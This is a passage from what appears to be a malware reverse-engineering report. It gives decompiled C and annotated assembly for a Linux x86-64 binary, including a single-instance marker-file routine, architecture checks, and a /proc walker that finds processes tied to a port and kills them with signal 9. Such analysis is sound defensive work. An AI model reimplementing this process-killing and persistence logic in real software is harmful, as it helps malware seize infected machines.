    lVar2 = FUN_0041779c(lVar2);
    if (lVar2 != 0) {
LAB_0040c743:
      lVar3 = FUN_004177dd(lVar2);
      if (lVar3 != 0) {
        if (*(char *)(lVar3 + 0x12) != '\x04') goto code_r0x0040c73f;
        goto LAB_0040c7ba;
      }
      FUN_00417776(lVar2);
    }
  }
  return 0xffffffff;
code_r0x0040c73f:
  if ((*(char *)(lVar3 + 0x12) == '\0') && (lVar4 = FUN_0040c6c1(), lVar4 != 0)) {
    FUN_0040d152(local_2028,lVar4);
    FUN_0040d0a8(local_2028,lVar3 + 0x13);
    iVar1 = FUN_0041c161(local_2028,auStack_20b8);
    if ((iVar1 == 0) && ((local_20a0 & 0xf000) == 0x4000)) {
LAB_0040c7ba:
      iVar1 = FUN_0041cad4(lVar3 + 0x13);
      lVar4 = FUN_0040c607(0x181);
      if ((iVar1 != 0) && (lVar5 = FUN_0040c6c1(), lVar5 != 0)) {
        FUN_0040d152(local_2028,lVar5);
        FUN_0040d0a8(local_2028,lVar3 + 0x13);
        if (lVar4 != 0) {
          FUN_0040d0a8(local_2028,lVar4);
        }
        iVar1 = FUN_00417dc5(local_2028,0);
        if (iVar1 != -1) {
          pcVar8 = local_1028;
          lVar3 = FUN_0041dcd6(iVar1,pcVar8,0xfff);
          FUN_0041db41(iVar1);
          if (1 < lVar3) {
            local_1028[lVar3] = '\0';
            while (*pcVar8 != '\0') {
              puVar6 = (undefined1 *)FUN_0040d0f8(pcVar8,10);
              if (puVar6 != (undefined1 *)0x0) {
                *puVar6 = 0;
              }
              uVar7 = FUN_0040c607(0x183);
              lVar3 = FUN_0040d114(pcVar8,uVar7);
              if ((lVar3 != 0) && (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
LAB_0040c8c4:
                FUN_00417776(lVar2);
                return 0;
              }
              uVar7 = FUN_0040c607(0x184);
              lVar3 = FUN_0040d114(pcVar8,uVar7);
              if ((lVar3 != 0) && (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) goto LAB_0040c8c4;
              if (puVar6 == (undefined1 *)0x0) break;
              *puVar6 = 10;
              pcVar8 = puVar6 + 1;
            }
          }
        }
      }
    }
  }
  goto LAB_0040c743;
}

Assembly · 147 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0040c6f441 56PUSH R14; E33
0040c6f6bf 5e 01 00 00MOV EDI,0x15e
0040c6fb41 55PUSH R13
0040c6fd41 54PUSH R12
0040c6ff55PUSH RBP
0040c70053PUSH RBX
0040c70148 81 ec 90 20 00 00SUB RSP,0x2090
0040c708e8 fa fe ff ffCALL FUN_0040c607
0040c70d48 89 c7MOV RDI,RAX
0040c71048 85 c0TEST RAX,RAX
0040c71375 4eJNZ LAB_0040c763
0040c71548 8b 05 d4 1f 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040c71c48 85 c0TEST RAX,RAX
0040c71f74 3aJZ LAB_0040c75b
0040c72148 8b b8 e0 0c 00 00MOV RDI,qword ptr [RAX + 0xce0]
0040c72848 85 ffTEST RDI,RDI
0040c72b74 2eJZ LAB_0040c75b
0040c72d83 b8 e8 0c 00 00 04CMP dword ptr [RAX + 0xce8],0x4
0040c7347f 2dJG LAB_0040c763
0040c736eb 23JMP LAB_0040c75b
LAB_0040c738:
0040c7388a 45 12MOV AL,byte ptr [RBP + 0x12]
0040c73b3c 04CMP AL,0x4
0040c73d74 7bJZ LAB_0040c7ba
0040c73f84 c0TEST AL,AL
0040c74174 37JZ LAB_0040c77a
LAB_0040c743:
0040c7434c 89 efMOV RDI,R13
0040c746e8 92 b0 00 00CALL FUN_004177dd
0040c74b48 89 c5MOV RBP,RAX
0040c74e48 85 c0TEST RAX,RAX
0040c75175 e5JNZ LAB_0040c738
0040c7534c 89 efMOV RDI,R13
0040c756e8 1b b0 00 00CALL FUN_00417776
LAB_0040c75b:
0040c75b83 c8 ffOR EAX,0xffffffff
0040c75ee9 8b 01 00 00JMP LAB_0040c8ee
LAB_0040c763:
0040c763e8 34 b0 00 00CALL FUN_0041779c
0040c7684c 8d a4 24 90 00 00 00LEA R12,[RSP + 0x90]
0040c77049 89 c5MOV R13,RAX
0040c77348 85 c0TEST RAX,RAX
0040c77675 cbJNZ LAB_0040c743
0040c778eb e1JMP LAB_0040c75b
LAB_0040c77a:
0040c77ae8 42 ff ff ffCALL FUN_0040c6c1
0040c77f48 89 c6MOV RSI,RAX
0040c78248 85 c0TEST RAX,RAX
0040c78574 bcJZ LAB_0040c743
0040c7874c 89 e7MOV RDI,R12
0040c78ae8 c3 09 00 00CALL FUN_0040d152
0040c78f48 8d 75 13LEA RSI,[RBP + 0x13]
0040c7934c 89 e7MOV RDI,R12
0040c796e8 0d 09 00 00CALL FUN_0040d0a8
0040c79b48 89 e6MOV RSI,RSP
0040c79e4c 89 e7MOV RDI,R12
0040c7a1e8 bb f9 00 00CALL FUN_0041c161
0040c7a685 c0TEST EAX,EAX
0040c7a875 99JNZ LAB_0040c743
0040c7aa8b 44 24 18MOV EAX,dword ptr [RSP + local_20a0]
0040c7ae25 00 f0 00 00AND EAX,0xf000
0040c7b33d 00 40 00 00CMP EAX,0x4000
0040c7b875 89JNZ LAB_0040c743
LAB_0040c7ba:
0040c7ba48 83 c5 13ADD RBP,0x13
0040c7be48 89 efMOV RDI,RBP
0040c7c1e8 0e 03 01 00CALL FUN_0041cad4
0040c7c6bf 81 01 00 00MOV EDI,0x181
0040c7cb89 c1MOV ECX,EAX
0040c7cde8 35 fe ff ffCALL FUN_0040c607
0040c7d249 89 c6MOV R14,RAX
0040c7d585 c9TEST ECX,ECX
0040c7d70f 84 66 ff ff ffJZ LAB_0040c743
0040c7dde8 df fe ff ffCALL FUN_0040c6c1
0040c7e248 89 c6MOV RSI,RAX
0040c7e548 85 c0TEST RAX,RAX
0040c7e80f 84 55 ff ff ffJZ LAB_0040c743
0040c7ee4c 89 e7MOV RDI,R12
0040c7f1e8 5c 09 00 00CALL FUN_0040d152
0040c7f648 89 eeMOV RSI,RBP
0040c7f94c 89 e7MOV RDI,R12
0040c7fce8 a7 08 00 00CALL FUN_0040d0a8
0040c8014d 85 f6TEST R14,R14
0040c80474 0bJZ LAB_0040c811
0040c8064c 89 f6MOV RSI,R14
0040c8094c 89 e7MOV RDI,R12
0040c80ce8 97 08 00 00CALL FUN_0040d0a8
LAB_0040c811:
0040c81131 f6XOR ESI,ESI
0040c8134c 89 e7MOV RDI,R12
0040c81631 c0XOR EAX,EAX
0040c818e8 a8 b5 00 00CALL FUN_00417dc5
0040c81d41 89 c6MOV R14D,EAX
0040c82083 f8 ffCMP EAX,-0x1
0040c8230f 84 1a ff ff ffJZ LAB_0040c743
0040c82948 8d ac 24 90 10 00 00LEA RBP,[RSP + 0x1090]
0040c83189 c7MOV EDI,EAX
0040c833ba ff 0f 00 00MOV EDX,0xfff
0040c83848 89 eeMOV RSI,RBP
0040c83be8 96 14 01 00CALL FUN_0041dcd6
0040c84044 89 f7MOV EDI,R14D
0040c84348 89 c3MOV RBX,RAX
0040c846e8 f6 12 01 00CALL FUN_0041db41
0040c84b48 83 fb 01CMP RBX,0x1
0040c84f0f 8e ee fe ff ffJLE LAB_0040c743
0040c855c6 84 1c 90 10 00 00 00MOV byte ptr [RSP + RBX*0x1 + 0x1090],0x0
LAB_0040c85d:
0040c85d80 7d 00 00CMP byte ptr [RBP],0x0
0040c8610f 84 dc fe ff ffJZ LAB_0040c743
0040c867be 0a 00 00 00MOV ESI,0xa
0040c86c48 89 efMOV RDI,RBP
0040c86fe8 84 08 00 00CALL FUN_0040d0f8
0040c87448 89 c3MOV RBX,RAX
0040c87748 85 c0TEST RAX,RAX
0040c87a74 03JZ LAB_0040c87f
0040c87cc6 00 00MOV byte ptr [RAX],0x0
LAB_0040c87f:
0040c87fbf 83 01 00 00MOV EDI,0x183
0040c884e8 7e fd ff ffCALL FUN_0040c607
0040c88948 89 efMOV RDI,RBP
0040c88c48 89 c6MOV RSI,RAX
0040c88fe8 80 08 00 00CALL FUN_0040d114
0040c89448 89 c7MOV RDI,RAX
0040c89748 85 c0TEST RAX,RAX
0040c89a75 1fJNZ LAB_0040c8bb
LAB_0040c89c:
0040c89cbf 84 01 00 00MOV EDI,0x184
0040c8a1e8 61 fd ff ffCALL FUN_0040c607
0040c8a648 89 efMOV RDI,RBP
0040c8a948 89 c6MOV RSI,RAX
0040c8ace8 63 08 00 00CALL FUN_0040d114
0040c8b148 89 c7MOV RDI,RAX
0040c8b448 85 c0TEST RAX,RAX
0040c8b775 17JNZ LAB_0040c8d0
0040c8b9eb 1eJMP LAB_0040c8d9
LAB_0040c8bb:
0040c8bbe8 b3 fd ff ffCALL FUN_0040c673
0040c8c085 c0TEST EAX,EAX
0040c8c275 d8JNZ LAB_0040c89c
LAB_0040c8c4:
0040c8c44c 89 efMOV RDI,R13
0040c8c7e8 aa ae 00 00CALL FUN_00417776
0040c8cc31 c0XOR EAX,EAX
0040c8ceeb 1eJMP LAB_0040c8ee
LAB_0040c8d0:
0040c8d0e8 9e fd ff ffCALL FUN_0040c673
0040c8d585 c0TEST EAX,EAX
0040c8d774 ebJZ LAB_0040c8c4
LAB_0040c8d9:
0040c8d948 85 dbTEST RBX,RBX
0040c8dc0f 84 61 fe ff ffJZ LAB_0040c743
0040c8e2c6 03 0aMOV byte ptr [RBX],0xa
0040c8e548 8d 6b 01LEA RBP,[RBX + 0x1]
0040c8e9e9 6f ff ff ffJMP LAB_0040c85d
LAB_0040c8ee:
0040c8ee48 81 c4 90 20 00 00ADD RSP,0x2090
0040c8f55bPOP RBX
0040c8f65dPOP RBP
0040c8f741 5cPOP R12
0040c8f941 5dPOP R13
0040c8fb41 5ePOP R14
0040c8fdc3RET

sets up the shared read-only marker page

0x40c8fe372 bytes
undefined FUN_0040c8fe()

sets up the shared read-only marker page: existing file, /proc-found mapping, memfd or 0600 file

Cited as
E33
Behaviours
B2
Called from
FUN_004001d0, FUN_004163d6
Calls
FUN_0040c607, FUN_0040c63d, FUN_0040c673, FUN_0040c6f4, FUN_0040d114, FUN_00417dc5, FUN_0041944f, FUN_0041d090, FUN_0041db41, FUN_0041dd93, FUN_0041ddd5
Decompiled C · 48 lines
undefined4 FUN_0040c8fe(void)

{
  int iVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  
  if (DAT_0062bdc0 != 0) {
    return 0;
  }
  lVar5 = 0;
  do {
    lVar3 = FUN_0040c607((&DAT_00426ee0)[lVar5]);
    if ((((lVar3 != 0) && (lVar4 = FUN_0040d114(lVar3,"x86_64"), lVar4 == 0)) &&
        (lVar4 = FUN_0040d114(lVar3,"x86-64"), lVar4 == 0)) &&
       (iVar1 = FUN_0040c673(lVar3), iVar1 == 0)) {
      return 0;
    }
    lVar5 = lVar5 + 1;
  } while (lVar5 != 0x10);
  iVar1 = FUN_0040c6f4();
  if (iVar1 == 0) {
    return 0;
  }
  lVar5 = FUN_0040c607(0x185);
  if (((lVar5 != 0) && (lVar5 = FUN_0041d090(lVar5,0x2f), lVar5 != 0)) &&
     (iVar1 = FUN_0041944f(0x13f,lVar5 + 1,1), -1 < iVar1)) {
    lVar5 = FUN_0041ddd5(iVar1,&DAT_00426ed2,1);
    if ((lVar5 == 1) && (iVar2 = FUN_0040c63d(), iVar2 == 0)) goto LAB_0040ca61;
    FUN_0041db41(iVar1);
  }
  lVar5 = FUN_0040c607(0x166);
  if ((lVar5 != 0) && (iVar1 = FUN_00417dc5(lVar5,0x242,0x180), -1 < iVar1)) {
    lVar3 = FUN_0041ddd5(iVar1,&DAT_00428c67,1);
    if ((lVar3 == 1) && (iVar2 = FUN_0040c63d(), iVar2 == 0)) {
LAB_0040ca61:
      FUN_0041db41(iVar1);
      return 0;
    }
    FUN_0041db41(iVar1);
    FUN_0041dd93(lVar5);
  }
  return 0xffffffff;
}

Assembly · 106 instructions, 3 annotated, 1 cited
AddressBytesInstructionComment
0040c8fe41 54PUSH R12; E33
0040c90055PUSH RBP
0040c90153PUSH RBX
0040c90248 83 ec 10SUB RSP,0x10
0040c90648 83 3d b2 f4 21 00 00CMP qword ptr [DAT_0062bdc0],0x0
0040c90e74 08JZ LAB_0040c918
LAB_0040c910:
0040c91045 31 e4XOR R12D,R12D
0040c913e9 4e 01 00 00JMP LAB_0040ca66
LAB_0040c918:
0040c91845 31 e4XOR R12D,R12D
0040c91b48 8d 1d be a5 01 00LEA RBX,[DAT_00426ee0]
LAB_0040c922:
0040c92242 8b 3c a3MOV EDI,dword ptr [RBX + R12*0x4]
0040c926e8 dc fc ff ffCALL FUN_0040c607
0040c92b48 89 c5MOV RBP,RAX
0040c92e48 85 c0TEST RAX,RAX
0040c93175 0bJNZ LAB_0040c93e
LAB_0040c933:
0040c93349 ff c4INC R12
0040c93649 83 fc 10CMP R12,0x10
0040c93a75 e6JNZ LAB_0040c922
0040c93ceb 36JMP LAB_0040c974
LAB_0040c93e:
0040c93e48 8d 35 7f a5 01 00LEA RSI,[s_x86_64_00426ec4]; "x86_64"
0040c94548 89 c7MOV RDI,RAX
0040c948e8 c7 07 00 00CALL FUN_0040d114
0040c94d48 85 c0TEST RAX,RAX
0040c95075 e1JNZ LAB_0040c933
0040c95248 8d 35 72 a5 01 00LEA RSI,[s_x86-64_00426ecb]; "x86-64"
0040c95948 89 efMOV RDI,RBP
0040c95ce8 b3 07 00 00CALL FUN_0040d114
0040c96148 85 c0TEST RAX,RAX
0040c96475 cdJNZ LAB_0040c933
0040c96648 89 efMOV RDI,RBP
0040c969e8 05 fd ff ffCALL FUN_0040c673
0040c96e85 c0TEST EAX,EAX
0040c97075 c1JNZ LAB_0040c933
0040c972eb 9cJMP LAB_0040c910
LAB_0040c974:
0040c974e8 7b fd ff ffCALL FUN_0040c6f4
0040c97985 c0TEST EAX,EAX
0040c97b74 93JZ LAB_0040c910
0040c97dbf 85 01 00 00MOV EDI,0x185
0040c982e8 80 fc ff ffCALL FUN_0040c607
0040c98748 89 c7MOV RDI,RAX
0040c98a48 85 c0TEST RAX,RAX
0040c98d74 61JZ LAB_0040c9f0
0040c98fbe 2f 00 00 00MOV ESI,0x2f
0040c994e8 f7 06 01 00CALL FUN_0041d090
0040c99948 85 c0TEST RAX,RAX
0040c99c74 52JZ LAB_0040c9f0
0040c99e48 8d 70 01LEA RSI,[RAX + 0x1]
0040c9a2bf 3f 01 00 00MOV EDI,0x13f
0040c9a7ba 01 00 00 00MOV EDX,0x1
0040c9ac31 c0XOR EAX,EAX
0040c9aee8 9c ca 00 00CALL FUN_0041944f
0040c9b389 c7MOV EDI,EAX
0040c9b585 c0TEST EAX,EAX
0040c9b778 37JS LAB_0040c9f0
0040c9b9ba 01 00 00 00MOV EDX,0x1
0040c9be48 8d 35 0d a5 01 00LEA RSI,[DAT_00426ed2]
0040c9c589 44 24 0cMOV dword ptr [RSP + local_1c],EAX
0040c9c9e8 07 14 01 00CALL FUN_0041ddd5
0040c9ce8b 7c 24 0cMOV EDI,dword ptr [RSP + local_1c]
0040c9d248 ff c8DEC RAX
0040c9d575 14JNZ LAB_0040c9eb
0040c9d789 7c 24 0cMOV dword ptr [RSP + local_1c],EDI
0040c9dbe8 5d fc ff ffCALL FUN_0040c63d
0040c9e08b 7c 24 0cMOV EDI,dword ptr [RSP + local_1c]
0040c9e485 c0TEST EAX,EAX
0040c9e641 89 c4MOV R12D,EAX
0040c9e974 76JZ LAB_0040ca61
LAB_0040c9eb:
0040c9ebe8 51 11 01 00CALL FUN_0041db41
LAB_0040c9f0:
0040c9f0bf 66 01 00 00MOV EDI,0x166
0040c9f5e8 0d fc ff ffCALL FUN_0040c607
0040c9fa48 89 c5MOV RBP,RAX
0040c9fd48 85 c0TEST RAX,RAX
0040ca0074 59JZ LAB_0040ca5b
0040ca0248 89 c7MOV RDI,RAX
0040ca05ba 80 01 00 00MOV EDX,0x180
0040ca0abe 42 02 00 00MOV ESI,0x242
0040ca0f31 c0XOR EAX,EAX
0040ca11e8 af b3 00 00CALL FUN_00417dc5
0040ca1689 c7MOV EDI,EAX
0040ca1885 c0TEST EAX,EAX
0040ca1a78 3fJS LAB_0040ca5b
0040ca1cba 01 00 00 00MOV EDX,0x1
0040ca2148 8d 35 3f c2 01 00LEA RSI,[DAT_00428c67]
0040ca2889 44 24 0cMOV dword ptr [RSP + local_1c],EAX
0040ca2ce8 a4 13 01 00CALL FUN_0041ddd5
0040ca318b 7c 24 0cMOV EDI,dword ptr [RSP + local_1c]
0040ca3548 ff c8DEC RAX
0040ca3875 14JNZ LAB_0040ca4e
0040ca3a89 7c 24 0cMOV dword ptr [RSP + local_1c],EDI
0040ca3ee8 fa fb ff ffCALL FUN_0040c63d
0040ca438b 7c 24 0cMOV EDI,dword ptr [RSP + local_1c]
0040ca4785 c0TEST EAX,EAX
0040ca4941 89 c4MOV R12D,EAX
0040ca4c74 13JZ LAB_0040ca61
LAB_0040ca4e:
0040ca4ee8 ee 10 01 00CALL FUN_0041db41
0040ca5348 89 efMOV RDI,RBP
0040ca56e8 38 13 01 00CALL FUN_0041dd93
LAB_0040ca5b:
0040ca5b41 83 cc ffOR R12D,0xffffffff
0040ca5feb 05JMP LAB_0040ca66
LAB_0040ca61:
0040ca61e8 db 10 01 00CALL FUN_0041db41
LAB_0040ca66:
0040ca6648 83 c4 10ADD RSP,0x10
0040ca6a44 89 e0MOV EAX,R12D
0040ca6d5bPOP RBX
0040ca6e5dPOP RBP
0040ca6f41 5cPOP R12
0040ca71c3RET

/proc walker with readlink and kill

0x40cb5a969 bytes
undefined FUN_0040cb5a()

/proc walker with readlink and kill (syscall profile)

Cited as
E19
Behaviours
B5, B10
Called from
FUN_00412d78
Calls
thunk_FUN_0040cf7c, FUN_0040d01d, FUN_0040d07f, thunk_FUN_0040d152, thunk_FUN_0040d17d, FUN_0040d215, thunk_FUN_0040d25a, thunk_FUN_0040d476, FUN_00415980, FUN_00417776, FUN_0041779c, FUN_004177dd, FUN_00417dc5, FUN_0041b0e7, FUN_0041c083, FUN_0041db41, FUN_0041dd01, FUN_0041dd63
Decompiled C · 199 lines
int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
  undefined8 local_1038;
  undefined8 uStack_1030;
  undefined4 local_1028 [1022];
  
  if (DAT_0062bdd8 != 0) {
    local_2239[0] = 0;
    local_2239[1] = 0;
    local_2239[2] = 0;
    local_2239[3] = 0;
    local_2239[4] = 0;
    local_2239[5] = 0;
    local_2239[6] = 0;
    local_2239[7] = 0;
    local_2239[8] = 0;
    local_2239[9] = 0;
    local_2239[10] = 0;
    local_2239[0xb] = 0;
    local_2239[0xc] = 0;
    local_2239[0xd] = 0;
    local_2239[0xe] = 0;
    local_2239[0xf] = 0;
    puVar15 = local_2028;
    for (lVar13 = 0x3fc; lVar13 != 0; lVar13 = lVar13 + -1) {
      *puVar15 = 0;
      puVar15 = puVar15 + 1;
    }
    local_2038 = 0;
    uStack_2030 = 0;
    puVar15 = local_1028;
    for (lVar13 = 0x3fc; lVar13 != 0; lVar13 = lVar13 + -1) {
      *puVar15 = 0;
      puVar15 = puVar15 + 1;
    }
    local_1038 = 0;
    uStack_1030 = 0;
    pbVar17 = local_2239 + 0x10;
    for (lVar13 = 0x1f1; lVar13 != 0; lVar13 = lVar13 + -1) {
      *pbVar17 = 0;
      pbVar17 = pbVar17 + 1;
    }
    local_2259 = 0;
    uStack_2251 = 0;
    uVar5 = FUN_0041b0e7(param_1 & 0xffff,param_2,param_1);
    thunk_FUN_0040d17d(uVar5,0x10,&local_2249);
    iVar6 = thunk_FUN_0040cf7c(&local_2249);
    uVar5 = local_2249;
    if (iVar6 == 2) {
      local_2245 = 0;
      local_2249 = 0x3030;
      local_2247 = uVar5;
    }
    iVar6 = FUN_00417dc5(*(undefined8 *)(DAT_0062e6f0 + 0xd70),0);
    if (iVar6 != -1) {
LAB_0040cc2e:
      do {
        do {
          do {
            lVar13 = thunk_FUN_0040d476(local_2239,0x200,iVar6);
            if (lVar13 == 0) goto LAB_0040cd3c;
            lVar13 = 0;
            do {
              lVar16 = lVar13;
              bVar1 = local_2239[lVar16];
              if (bVar1 == 0) goto LAB_0040cc2e;
              lVar13 = lVar16 + 1;
            } while (bVar1 != 0x3a);
            lVar16 = (long)((int)lVar16 + 2);
            lVar13 = lVar16;
            do {
              lVar11 = lVar13;
              lVar13 = lVar11 + 1;
            } while ((local_2239[lVar11] & 0xdf) != 0);
            pbVar17 = local_2239 + lVar16;
            local_2239[(int)lVar11] = 0;
            uVar7 = thunk_FUN_0040cf7c(pbVar17);
            iVar8 = thunk_FUN_0040d25a(pbVar17,uVar7,&local_2249);
          } while (iVar8 == -1);
          bVar3 = false;
          bVar2 = false;
          iVar8 = 0;
          uVar10 = (ulong)((int)lVar11 + 2);
          while( true ) {
            bVar1 = local_2239[uVar10];
            iVar9 = (int)uVar10;
            if (bVar1 == 0) break;
            if ((bVar1 == 0x20) || (bVar1 == 9)) {
              bVar2 = true;
LAB_0040ccf1:
              if (iVar8 != 0xb) goto LAB_0040ccf6;
              if (bVar3) {
                uVar14 = (ulong)iVar9;
                do {
                  pbVar17 = local_2239 + uVar14;
                  uVar10 = uVar14 & 0xffffffff;
                  uVar14 = uVar14 + 1;
                } while ((*pbVar17 & 0xdf) != 0);
                goto LAB_0040cd14;
              }
              goto LAB_0040cc2e;
            }
            if (!bVar2) goto LAB_0040ccf1;
            iVar8 = iVar8 + 1;
            if (iVar8 != 1) {
              bVar2 = false;
              goto LAB_0040ccf1;
            }
            if (local_2239[iVar9 + 1] == 0x41) {
              bVar3 = true;
            }
            bVar2 = false;
LAB_0040ccf6:
            uVar10 = uVar10 + 1;
          }
        } while (!bVar3);
LAB_0040cd14:
        pbVar17 = local_2239 + iVar9;
        local_2239[(int)uVar10] = 0;
        iVar8 = thunk_FUN_0040cf7c(pbVar17);
      } while (0xf < iVar8);
      thunk_FUN_0040d152(&local_2259,pbVar17);
LAB_0040cd3c:
      FUN_0041db41(iVar6);
      iVar6 = thunk_FUN_0040cf7c(&local_2259);
      if (iVar6 != 0) {
        iVar6 = 0;
        lVar13 = FUN_0041779c(*(undefined8 *)(DAT_0062e6f0 + 0xce0));
        if (lVar13 != 0) {
          while ((lVar16 = FUN_004177dd(lVar13), lVar16 != 0 && (iVar6 == 0))) {
            if ((byte)(*(char *)(lVar16 + 0x13) - 0x30U) < 10) {
              lVar16 = lVar16 + 0x13;
              thunk_FUN_0040d152(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
              FUN_0040d01d(&local_2038,lVar16);
              FUN_0040d01d(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xd20));
              lVar11 = FUN_0041779c(&local_2038);
              if (lVar11 != 0) {
                while ((lVar12 = FUN_004177dd(lVar11), lVar12 != 0 && (iVar6 == 0))) {
                  FUN_0040d215(&local_1038,0x1000);
                  thunk_FUN_0040d152(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
                  FUN_0040d01d(&local_2038,lVar16);
                  FUN_0040d01d(&local_2038,*(undefined8 *)(DAT_0062e6f0 + 0x1100));
                  FUN_0040d01d(&local_2038,lVar12 + 0x13);
                  uVar10 = FUN_0041dd01(&local_2038,&local_1038,0xfff);
                  if (0 < (long)uVar10) {
                    *(undefined1 *)((long)&local_1038 + uVar10) = 0;
                    iVar8 = thunk_FUN_0040d25a(&local_1038,uVar10 & 0xffffffff,&local_2259);
                    if (iVar8 != -1) {
                      uVar7 = FUN_0040d07f(lVar16);
                      cVar4 = FUN_00415980(uVar7);
                      if (cVar4 == '\0') {
                        iVar6 = 1;
                        FUN_0041c083(uVar7,9);
                      }
                    }
                  }
                }
                FUN_00417776(lVar11);
              }
            }
          }
          FUN_00417776(lVar13);
        }
        FUN_0041dd63(1);
        return iVar6;
      }
    }
  }
  return 0;
}

Assembly · 252 instructions, 0 annotated
AddressBytesInstructionComment
0040cb5a41 57PUSH R15
0040cb5c41 56PUSH R14
0040cb5e41 55PUSH R13
0040cb6041 54PUSH R12
0040cb6255PUSH RBP
0040cb6353PUSH RBX
0040cb6448 81 ec 48 22 00 00SUB RSP,0x2248
0040cb6b83 3d 66 f2 21 00 00CMP dword ptr [DAT_0062bdd8],0x0
0040cb7275 08JNZ LAB_0040cb7c
LAB_0040cb74:
0040cb7445 31 e4XOR R12D,R12D
0040cb77e9 92 03 00 00JMP LAB_0040cf0e
LAB_0040cb7c:
0040cb7c31 c0XOR EAX,EAX
0040cb7e89 faMOV EDX,EDI
0040cb800f 57 c0XORPS XMM0,XMM0
0040cb83b9 fc 03 00 00MOV ECX,0x3fc
0040cb8848 8d bc 24 50 02 00 00LEA RDI,[RSP + 0x250]
0040cb900f 11 44 24 3fMOVUPS xmmword ptr [RSP + local_2239[0]],XMM0
0040cb954c 8d 64 24 2fLEA R12,[RSP + 0x2f]
0040cb9af3 abSTOSD.REP RDI
0040cb9cb9 fc 03 00 00MOV ECX,0x3fc
0040cba148 8d bc 24 50 12 00 00LEA RDI,[RSP + 0x1250]
0040cba90f 11 84 24 40 02 00 00MOVUPS xmmword ptr [RSP + local_2038[0]],XMM0
0040cbb1f3 abSTOSD.REP RDI
0040cbb348 8d 7c 24 4fLEA RDI,[RSP + 0x4f]
0040cbb8b9 f1 01 00 00MOV ECX,0x1f1
0040cbbd0f 11 84 24 40 12 00 00MOVUPS xmmword ptr [RSP + local_1038[0]],XMM0
0040cbc5f3 aaSTOSB.REP RDI
0040cbc70f b7 faMOVZX EDI,DX
0040cbca0f 11 44 24 1fMOVUPS xmmword ptr [RSP + local_2259[0]],XMM0
0040cbcfe8 13 e5 00 00CALL FUN_0041b0e7
0040cbd44c 89 e2MOV RDX,R12
0040cbd7be 10 00 00 00MOV ESI,0x10
0040cbdc0f b7 f8MOVZX EDI,AX
0040cbdfe8 2c 06 00 00CALL thunk_FUN_0040d17d
0040cbe44c 89 e7MOV RDI,R12
0040cbe7e8 2c 04 00 00CALL thunk_FUN_0040cf7c
0040cbec83 f8 02CMP EAX,0x2
0040cbef75 16JNZ LAB_0040cc07
0040cbf166 8b 44 24 2fMOV AX,word ptr [RSP + local_2249]
0040cbf6c6 44 24 33 00MOV byte ptr [RSP + local_2245],0x0
0040cbfb66 c7 44 24 2f 30 30MOV word ptr [RSP + local_2249],0x3030
0040cc0266 89 44 24 31MOV word ptr [RSP + local_2247],AX
LAB_0040cc07:
0040cc0748 8b 05 e2 1a 22 00MOV RAX,qword ptr [DAT_0062e6f0]
0040cc0e31 f6XOR ESI,ESI
0040cc104c 8d 74 24 3fLEA R14,[RSP + 0x3f]
0040cc1548 8b b8 70 0d 00 00MOV RDI,qword ptr [RAX + 0xd70]
0040cc1c31 c0XOR EAX,EAX
0040cc1ee8 a2 b1 00 00CALL FUN_00417dc5
0040cc2389 c5MOV EBP,EAX
0040cc2583 f8 ffCMP EAX,-0x1
0040cc280f 84 46 ff ff ffJZ LAB_0040cb74
LAB_0040cc2e:
0040cc2e89 eaMOV EDX,EBP
0040cc30be 00 02 00 00MOV ESI,0x200
0040cc354c 89 f7MOV RDI,R14
0040cc38e8 89 08 00 00CALL thunk_FUN_0040d476
0040cc3d48 85 c0TEST RAX,RAX
0040cc400f 84 f6 00 00 00JZ LAB_0040cd3c
0040cc4631 c0XOR EAX,EAX
LAB_0040cc48:
0040cc4841 8a 14 06MOV DL,byte ptr [R14 + RAX*0x1]
0040cc4c41 89 c5MOV R13D,EAX
0040cc4f48 ff c0INC RAX
0040cc5284 d2TEST DL,DL
0040cc5474 d8JZ LAB_0040cc2e
0040cc5680 fa 3aCMP DL,0x3a
0040cc5975 edJNZ LAB_0040cc48
0040cc5b84 d2TEST DL,DL
0040cc5d74 cfJZ LAB_0040cc2e
0040cc5f41 83 c5 02ADD R13D,0x2
0040cc634d 63 edMOVSXD R13,R13D
0040cc664c 89 e8MOV RAX,R13
LAB_0040cc69:
0040cc6941 8a 14 06MOV DL,byte ptr [R14 + RAX*0x1]
0040cc6d89 c3MOV EBX,EAX
0040cc6f48 ff c0INC RAX
0040cc7280 e2 dfAND DL,0xdf
0040cc7575 f2JNZ LAB_0040cc69
0040cc774d 01 f5ADD R13,R14
0040cc7a48 63 c3MOVSXD RAX,EBX
0040cc7d4c 89 efMOV RDI,R13
0040cc80c6 44 04 3f 00MOV byte ptr [RSP + RAX*0x1 + 0x3f],0x0
0040cc85e8 8e 03 00 00CALL thunk_FUN_0040cf7c
0040cc8a4c 89 e2MOV RDX,R12
0040cc8d4c 89 efMOV RDI,R13
0040cc9089 c6MOV ESI,EAX
0040cc92e8 23 06 00 00CALL thunk_FUN_0040d25a
0040cc97ff c0INC EAX
0040cc9974 93JZ LAB_0040cc2e
0040cc9b8d 43 02LEA EAX,[RBX + 0x2]
0040cc9e31 c9XOR ECX,ECX
0040cca031 f6XOR ESI,ESI
0040cca231 ffXOR EDI,EDI
0040cca448 98CDQE
0040cca641 b9 01 00 00 00MOV R9D,0x1
LAB_0040ccac:
0040ccac45 8a 04 06MOV R8B,byte ptr [R14 + RAX*0x1]
0040ccb089 c2MOV EDX,EAX
0040ccb24c 63 e8MOVSXD R13,EAX
0040ccb545 84 c0TEST R8B,R8B
0040ccb80f 84 43 02 00 00JZ LAB_0040cf01
